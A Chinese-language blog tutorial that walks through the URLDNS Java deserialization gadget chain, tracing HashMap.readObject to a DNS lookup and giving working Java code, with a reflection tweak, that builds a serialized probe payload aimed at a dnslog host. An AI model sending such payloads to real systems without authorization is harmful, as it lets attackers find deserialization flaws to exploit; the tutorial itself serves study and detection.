0x00 前言 URLDNS是java反序列化中一个比较简单的链,所以在学习CommonsCollections的利用链之前,可以先从URLDNS看起。
0x01 什么是URLDNS URLDNS是ysoserial中的一个利用链名字,不过URLDNS并不能执行命令,只能发送DNS请求。
但是很适合我们在检测反序列化漏洞时使用:
使用Java内置的构造类,对第三方库没有依赖
在目标没有回显的时候,可以利用DNS请求得知是否存在反序列化漏洞
0x02 利用链 1 2 3 4 5 6 7 HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler->hashCode() URLStreamHandler->getHostAddress() InetAddress->getByName()
0x03 利用流程分析 问题存在于HashMap()的readObject方法,所以我们可以直接看这个给方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
发现主要是在for循环中,利用putVal方法将key放入HashMap中,并进行hash值计算
跟进hash方法中
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
发现hash方法会调用对象的hashCode方法
此时我们传入的时URL对象,跟进URL对象中查看hashCode对象
1 2 3 4 5 6 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
首先会判断hashCode是否等于-1,是的话直接返回hashCode;否则调用handler对象的hashcode方法,在返回hashCode
其实主要利用的是
1 hashCode = handler.hashCode(this );
所以继续跟进handler对象中的hashCode函数
1 2 3 4 5 6 7 8 9 10 11 12 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); }
在hashCode中,会将URL传入getHostAddress函数中,继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
然后会发现,InetAddress.getByName(host)
是一个静态方法,它将接收一个主机名作为输入,并返回该主机名对应的 InetAddress
对象,即 IP 地址的表示。该方法会进行网络请求和 DNS 解析来获取对应的 IP 地址。
到这里就差不多结束了,简单编写个利用链
1 2 3 4 5 6 7 8 9 10 11 12 public class URLDNS { public static void main (String[] args) throws Exception { HashMap<URL, Integer> hashMap= new HashMap <>(); URL url = new URL ("http://dnslog" ); hashMap.put(url,1 ); serialize(hashMap); unserialize("ser.bin" ); } }
运行成功了,dnslog平台也有数据
但是会发现,这其实是在序列化之前就已经发送DNS请求了,之后的反序列化其实没有去做DNS请求的
发生这种情况是因为在利用hashMap.put()存数据的时候也调用putVal函数
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
所以在存数据的时候其实就发生了一次DNS请求
根据前文可以知道putVal中的hash会去调用key的hashCode方法
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
找到URL中的hashCode方法后,可以发现只要hashCode的值不等于-1后,就会直接返回hashCode,不做后面的操作
1 2 3 4 5 6 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
所以可以利用反射,在hashMap.put()存进数据之前将hashCode的值成不等于-1来绕过
在hashMap.put()存完数据后再将hashCode的值改回-1即可
修改后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class URLDNS { public static void main (String[] args) throws Exception { HashMap<URL, Integer> hashMap= new HashMap <>(); URL url = new URL ("http://dnslog" ); Class forName = Class.forName("java.net.URL" ); Field declaredField = forName.getDeclaredField("hashCode" ); declaredField.setAccessible(true ); declaredField.set(url,123 ); hashMap.put(url,1 ); declaredField.set(url,-1 ); serialize(hashMap); unserialize("ser.bin" ); } }
0x04 ysoserial的URLDNS 1 2 3 4 5 URLStreamHandler handler = new SilentURLStreamHandler ();HashMap ht = new HashMap ();URL u = new URL (null , url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode" , -1 );
0x05 参考链接 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec